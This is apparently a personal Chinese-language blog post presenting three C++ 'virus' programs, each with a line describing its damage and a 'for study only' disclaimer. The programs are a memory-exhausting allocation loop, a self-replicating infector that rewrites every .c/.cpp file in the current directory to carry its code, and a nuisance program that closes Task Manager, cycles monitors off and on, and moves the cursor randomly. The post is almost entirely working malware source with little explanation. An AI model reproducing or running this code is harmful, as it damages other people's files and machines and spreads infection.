C++病毒

· · 个人记录

NO.10

破坏性:造成内存空间不足

#include<bits/stdc++.h>
#include<windows.h>
#include<conio.h>
//此程序仅供病毒原理学习之用
//请勿用此程序进行破坏计算机之行为,否则由此引发之后果自负 
//保留所有权利,Tiger1218,2018.3.29
using namespace std;
int main() {
    while(1)/*死循环*/ {
        new char[1000000];
        //申请空间
    }
    return 0;
}

NO.9

破坏性:主要是感染C/C++源文件只要编译该段源程序就会使当前目录里的所有.c和.cpp文件感染上病毒,当然如果是没有主函数的源文件就没有作用

#include<bits/stdc++.h>

//此程序仅供病毒原理学习之用
//请勿用此程序进行破坏计算机之行为,否则由此引发之后果自负 
//保留所有权利,Tiger1218,2018.3.29
void vir() {
    string CurFileName = __FILE__;//绝对路径
    string obCurFileName          //相对路径
        = CurFileName.substr(CurFileName.find_last_of('//') + 1,CurFileName.size()-1);
    WIN32_FIND_DATA FindFileData;
    HANDLE hFind = FindFirstFile("*.c*", &FindFileData);
    string VirusCode[100];//病毒代码
    string FileCode[500]; //宿主代码

    int CodeLen = 0;//病毒代码长度
    int FileLen = 0;//宿主代码长度

//病毒函数调用应当插在"main("后面的第一个"{"后面
//在C++中main有int main(),int main(int arg,char **r)等形式
    int InsertLoc = 0;

//提取待传播的当前文件中的病毒代码
    ifstream VirusFile(obCurFileName.c_str());
    for (CodeLen = 0; getline(VirusFile,VirusCode[CodeLen]); CodeLen++) {
        if(VirusCode[CodeLen] == "//END") {
            CodeLen++;
            break;
        }
    }
    VirusFile.close();
//依次感染宿主文件
    while (true) {
        //不能感染当前.cpp文件和已感染的文件
        if(strcmp(FindFileData.cFileName,obCurFileName.c_str())== 0) {
            cout<<FindFileData.cFileName<<":是感染源!/n";
        } else { //感染其它文件
            //加载宿主文件
            ifstream ibe(FindFileData.cFileName);
            for(FileLen = 0; getline(ibe,FileCode[FileLen]); FileLen++) {
                if (FileCode[FileLen].find("main") != -1) {
                    InsertLoc = FileLen;
                }
            }
            ibe.close();
            if(FileCode[0] == "//START") { //该文件已被感染
                cout<<FindFileData.cFileName<<":已携带了病毒!/n";
            } else if (FileLen > 500) {
                cout<<FindFileData.cFileName<<":文件太大了!/n";
            } else {
                //打开宿主文件
                ofstream be(FindFileData.cFileName);
                //插入病毒代码
                for(int i = 0; i < CodeLen; i++) {
                    be<<VirusCode[i]<<endl;
                }
                //病毒函数调用位置前文本插入
                for(int i = 0; i < InsertLoc; i++) {
                    be<<FileCode[i]<<endl;
                }
                //插入函数调用vir()
                for(int i = InsertLoc; i < FileLen; i++) {
                    int j = FileCode[i].find('{');
                    if(j != -1) {
                        FileCode[i].insert(j + 1,"/nvir();");
                        break;
                    }
                }
                //病毒函数调用位置后插入剩余文本
                for(int i = InsertLoc; i < FileLen; i++) {
                    be<<FileCode[i]<<endl;
                }
                be.close();
                cout<<FindFileData.cFileName<<":感染成功!/n";
            }
        }
        if (FindNextFile(hFind, &FindFileData) == false) break;
    }
}
//END
int main() {
    vir();
    return 0;
}

NO.8

破坏性:鼠标乱跑&打开关闭显示器&建立一个线程

#include<bits/stdc++.h>
#include<windows.h>
#include<conio.h>
using namespace std;
//此程序仅供病毒原理学习之用
//请勿用此程序进行破坏计算机之行为,否则由此引发之后果自负 
//保留所有权利,Tiger1218,2018.3.29
DWORD WINAPI DestroyWindows(LPVOID)

{

    HWND TaskMgr = FindWindow(NULL,"Windows Task Manager");

    if( TaskMgr != NULL )

    {

        PostMessage( TaskMgr, WM_CLOSE, (LPARAM)0, (WPARAM)0);

    }

    while(1) {

        SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) 2);

        int X = rand()%801;

        int Y = rand()%601;

        SetCursorPos( X, Y );

        Sleep(5000);

        SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) -1);
    }

}

int main()

{

    CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)&DestroyWindows, 0, 0, NULL);

    while(1)

    {

        Sleep(10);

    }
    return 0;
}